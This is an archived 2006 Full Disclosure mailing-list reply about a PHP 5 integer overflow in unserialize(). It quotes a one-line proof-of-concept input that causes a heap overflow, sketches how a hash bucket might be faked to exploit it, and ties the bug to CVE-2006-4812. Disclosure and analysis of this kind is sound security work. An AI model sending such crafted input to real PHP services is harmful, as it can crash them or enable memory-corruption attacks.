Full Disclosure mailing list archives

Re: PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc


From: Josh Bressers <josh () bress net>
Date: Tue, 17 Oct 2006 20:28:20 -0400


<?

 print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...


This looks to be CVE-2006-4812, which was discovered by Stefan Esser.  He
published his advisory last week:
http://www.hardened-php.net/advisory_092006.133.html

-- 
    JB

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: